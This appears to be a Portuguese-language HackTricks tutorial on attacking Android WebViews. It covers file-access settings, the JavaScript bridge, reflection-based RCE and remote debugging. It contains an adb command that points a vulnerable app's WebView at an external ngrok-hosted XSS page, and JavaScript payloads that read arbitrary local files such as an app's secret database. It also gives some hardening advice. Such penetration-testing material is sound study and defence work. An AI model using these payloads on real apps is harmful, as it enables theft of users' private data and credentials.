# Ataques ao WebView
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Configurações Interessantes Você pode identificar um WebView exposto assim:
### Acesso a Arquivos O acesso a arquivos do _WebView_ está habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\ Se o aplicativo tiver a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\ O _WebView_ precisa usar um esquema de URL de arquivo, por exemplo, `file://path/file`, para acessar o arquivo. #### Acesso Universal a partir de URL de Arquivo (Descontinuado) > Define se as **solicitações entre origens** no **contexto de um URL de esquema de arquivo** devem ser permitidas a acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outros URLs de esquema de arquivo ou contextos da web.** Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração. > > **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` lancem ataques de script entre sites, acessando **arquivos locais arbitrários**, incluindo cookies do WebView, dados privados do aplicativo ou até mesmo credenciais usadas em sites da web arbitrários. Em resumo, isso **impedirá o carregamento de Origens arbitrárias**. O aplicativo enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\ O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima. * Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se o UniversalAccessFromFileURL estiver habilitado). * Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar. {% hint style="info" %} Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais**, mesmo se todas as configurações perigosas estiverem habilitadas. {% endhint %} #### Acesso a Arquivos a partir de URLs de Arquivo (Descontinuado) > Define se as solicitações entre origens no contexto de um URL de esquema de arquivo devem ser permitidas a acessar conteúdo de outros URLs de esquema de arquivo. Observe que alguns acessos, como elementos HTML de imagem, não seguem as regras de mesma origem e não são afetados por essa configuração. > > **Não** habilite essa configuração se você abrir arquivos que possam ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários, incluindo cookies do WebView e dados privados do aplicativo. Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\ Observe que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\ O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima. * Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está em execução no contexto de um URL de esquema de arquivo pode acessar conteúdo de outros URLs de esquema de arquivo. * Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar. #### Acesso a Arquivos > Habilita ou desabilita o **acesso a arquivos dentro do WebView**. Observe que isso habilita ou desabilita apenas o acesso ao sistema de arquivos. Ativos e recursos ainda são acessíveis usando file:///android\_asset e file:///android\_res. Em resumo, se desabilitado, o WebView não poderá carregar um arquivo local com o protocolo `file://`.\ O **valor padrão é `false`** ao direcionar [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e superior. * Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada. * Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar. #### WebViewAssetLoader > Classe auxiliar para carregar arquivos locais, incluindo ativos estáticos e recursos do aplicativo, usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de mesma origem. Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando um URL HTTP com o domínio**. Dessa forma, a **CORS** pode ser **facilmente** mantida entre as **páginas web** **locais** e as **páginas web** que são baixadas do servidor web. ### Javascript Habilitado Os WebViews têm o Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitá-lo ou desabilitá-lo explicitamente.\ Observe que os webviews também podem suportar o **esquema de intenção** que permite abrir outros aplicativos. Leia este [artigo para saber como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105). Aqui está um exemplo de um webview exposto vulnerável a XSS por meio do parâmetro "support\_url" (que pode indicar a URL a ser carregada no webview):
É possível explorar essa vulnerabilidade pelo adb com algo como: {% code overflow="wrap" %} ```bash adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html" ``` {% endcode %} ### Ponte de JavaScript O Android oferece uma maneira para o JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como uma _ponte de JavaScript WebView_ ou _ponte nativa_. Por favor, observe que **quando você usa `addJavascriptInterface`, você está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado para todas as páginas carregadas dentro desse WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por meio dessas interfaces. > Aviso: Tenha extrema cautela com aplicativos direcionados para versões do Android abaixo do Android 4.2 (API level 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação do `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu devido a todos os métodos de objetos Java serem acessíveis por padrão (em vez de apenas aqueles anotados). #### Análise Estática ```javascript //Class with a method to access a secret public class JavascriptBridge { // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods // not annotated with @JavascriptInterface are not visible from JavaScript @JavascriptInterface public String getSecret() { return "SuperSecretPassword"; }; } ``` ```javascript //Enabling Javascript Bridge exposing an object of the JavascriptBridge class webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge"); webView.reload(); ``` ```markup ``` Com acesso ao código JavaScript, por exemplo, através de um ataque **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, é possível chamar diretamente os métodos Java expostos. {% hint style="info" %} Observe que, no caso de tentar explorar essa vulnerabilidade através de um **Redirecionamento Aberto para uma página da web do atacante que acessa o Objeto Nativo Android**. Se o acesso ao redirecionamento for feito por meio de um **navegador móvel** e **não usando** o mesmo WebView, o **navegador não poderá acessar o objeto nativo Android**. {% endhint %} Se `addJavascriptInterface` for necessário, leve em consideração o seguinte: * Somente o JavaScript fornecido com o APK deve ser permitido a usar as bridges, por exemplo, verificando a URL em cada método Java conectado (via `WebView.getUrl`). * **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox). * Se necessário por motivos de compatibilidade (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo de API para 17** no arquivo manifesto do aplicativo (``). ### Ponte de JavaScript para RCE via Reflexão Conforme observado nesta [**pesquisa**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_verifique para obter ideias caso obtenha RCE_), uma vez que você encontrou uma JavascriptBridge, é possível obter **RCE** via **Reflexão** usando um payload como o seguinte: ```markup ``` No entanto, aplicativos modernos podem usar a anotação **`@JavascriptInterface`** que indica à JavascriptBridge que apenas o método com essa anotação deve ser exposto.\ Nesse cenário, você não poderá abusar da Reflexão para executar código arbitrário. ### Depuração Remota A **depuração remota do WebView** permite acessar o WebView com as **Ferramentas de Desenvolvedor do Chrome**.\ O dispositivo precisa ser acessível pelo PC (via USB, emulador local, rede local...) e estar executando o WebView com depuração ativada, em seguida, acesse **chrome://inspect/#devices**: ![](<../../.gitbook/assets/image (525).png>) Selecione **inspecionar** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do WebView e até mesmo fazer com que ele execute código JS arbitrário a partir da guia **console**: ![](<../../.gitbook/assets/image (526).png>) Para habilitar a **Depuração Remota do WebView**, você pode fazer algo como: ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { WebView.setWebContentsDebuggingEnabled(true); } ``` **Essa configuração se aplica a todos os WebViews do aplicativo.** {% hint style="info" %} **A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto do aplicativo. Se você deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução. {% endhint %} ```java if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE)) { WebView.setWebContentsDebuggingEnabled(true); } } ``` ## Cargas úteis ### Exfiltrar arquivos arbitrários Para exfiltrar arquivos arbitrários de um aplicativo Android que utiliza WebView, você pode usar a seguinte carga útil: ```javascript var xhr = new XMLHttpRequest(); xhr.open('GET', 'file:///path/to/file', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { var fileContent = xhr.responseText; // Faça algo com o conteúdo do arquivo } }; xhr.send(); ``` Substitua `file:///path/to/file` pelo caminho absoluto do arquivo que você deseja exfiltrar. Depois de executar o código, o conteúdo do arquivo será retornado na variável `fileContent`, permitindo que você faça o que quiser com ele. Lembre-se de que essa técnica só funcionará se o aplicativo permitir o acesso a arquivos locais por meio do WebView. ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { alert(xhr.responseText); } } xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true); xhr.send(null); ``` ## Referências {% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %} {% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).